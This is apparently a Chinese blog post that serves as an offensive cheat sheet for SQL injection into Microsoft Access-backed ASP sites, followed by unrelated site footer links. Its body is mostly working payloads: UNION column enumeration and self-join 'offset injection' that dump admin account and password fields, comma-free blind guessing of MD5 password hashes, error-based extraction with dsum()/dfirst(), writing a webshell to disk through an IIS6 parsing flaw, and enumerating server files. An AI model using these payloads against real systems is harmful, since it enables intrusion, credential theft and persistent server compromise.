Access SQL注入用法整理

参考,http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html

常用语法

MID(str,start,length) 可以用来提取母字符串中一部分特定的子字符串。
ASC() 可以返回参数中字符对应的ASCII值
IIF(condition,true,false)

注释符

%16和%00都会起到截断后续语句的效果。

limit替代

Access数据库不支持LIMIT操作符。
但是,它可以使用TOP操作符来限制SELECT查询只显示结果集里面的第几行。当TOP操作符接收到一个整数形式的参数时,如TOP 3,那么意为着返回结果集里面的前三行。
LAST操作符可以返回结果集中最后面的记录,TOP与LAST组合使用的话可以查询任意指定的结果集。

绕过逗号被过滤

参考,https://forum.90sec.org/thread-8617-1-1.html

其实不用逗号也可以实现注入。首先大家要明白Access是如何比较两个字符串的,比如比较 “abb123”和 “ABc123”这两个字符串的大小,从两个字符串的第一个字符开始比较,由于Access比较字符串是不区分大小写的,两个字符串的第一个字符相等接着比较下一个,直到比较第三个字符时因为c的asc码比b大,这时就停止比较,认为第二个字符串比第一个大。如果是比较 “abc1234”和 “abc123”,当第二个字符串比较到最后一个字符时第一个字符串还有要比较的字符,就认为第一个字符串比第二个大。

知道了原理我们就可以用这种方法来猜解密码, 32位md5字符集中单个字符从小到大的排列顺序为 “0123456789ABCDEF”,比如我们要猜的md5密码>=’3’成立,但<’4’错误,就可以知道密码的第一位是3,如果密码>=’3A’成立,<’3B’错误,则密码的第二位就是A,如果密码>=’3A5’成立,<’3A6’错误,则密码的第三位就是5,以此类推,很容易猜出密码。

未知列名的注入方式

当前页面有35个字段
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,* from admin 返回错误页面
不断枚举测试
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,* from admin 没有报错,说明admin有22-16=6个列

偏移注入

借用数据库的自连接查询让数据库内部发生乱序,从而偏移出所需要的字段在我们的页面上显示。
成功与否看技巧与运气,不能保证100%成功,无需管理员账号密码字段,直接爆账号密码,很大程度上解决猜不到字段的问题。
偏移注入的利用条件:

  • 已知管理表名
  • 已知任意字段(一个或多个会增加机率,最常见的就是id)

成功率的因素

  • 管理表的字段数越少越好(最好是三个:id 账号字段 密码字段)
  • 当前注入点的脚本内查询的表内的字段数越多越好(最好有几十个,这样基本成功率是100%)
  • 已知的字段数越多越好(id一般存在)
union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)

字段数=order by 出的字段数 - 星号的字段数x2

因为这里一共是22个字段,而星号代表的admin表字段占6个,6x2=12 22-12=10
如果爆出来的字段不够多,那么

union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin as b on a.id=b.id)

其实就在上面的语句基础上插了个a.id,b.id
或者再多自连接一次

union select 1,2,3,4,a.id,b.id,c.id,* from((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id)

移位溢注

源自,https://gh0st.cn/archives/2017-03-08/1
利用条件同上,确定了admin表的列数量之后(这里为6),可以开始前移,直到看到页面回显admin表的所有字段。但是如果碰到非连续数字的,那么只会显示admin表中的部分列。

UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,admin.* from admin
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,admin.*,35 from admin
UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,admin.*,34,35 from admin

该方法也适用于Mysql

dsum()和dfirst()的报错注入

来源已不可考

select * from admin where id=1 and dsum((select top 1 password from admin),'admin')
select * from admin where id=1 and dfirst((select top 1 password from admin),'admin')

/list.asp?id=123 and dsum(chr(39)%2bcstr((select+top+1+userpass+from+users)),'admin')

Microsoft JET Database Engine 错误 '80040e14'

字符串的语法错误 在查询表达式 'Sum('ES-DC08598F8C5CE7F85577EDE7530773)' 中。

写webshell

需要结合IIS6的解析漏洞,把表cmd的内容导出为物理路径的一个EXCEL文件

create table cmd (a varchar(50))
insert into cmd (a) values ('一句话木马')
select * into [a] in 'e:\web\webshellcc\1.asa;x.xls' 'excel 4.0;' from cmd
drop table cmd

文件枚举

如果指定的文件是存在的,那么Access数据库便会抛出 the database format is invalid 这样的报错信息。

http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00

另外一种枚举文件的方式是指定通过指定一个 database.table 条目。如果指定的文件存在,那么Access数据库便会抛出 database format error的错误信息。

http://locahost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\\boot.init.TableName%00
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 201,552评论 5 474
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 84,666评论 2 377
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 148,519评论 0 334
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,180评论 1 272
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,205评论 5 363
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,344评论 1 281
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,781评论 3 393
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,449评论 0 256
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,635评论 1 295
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,467评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,515评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,217评论 3 318
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,775评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,851评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,084评论 1 258
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,637评论 2 348
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,204评论 2 341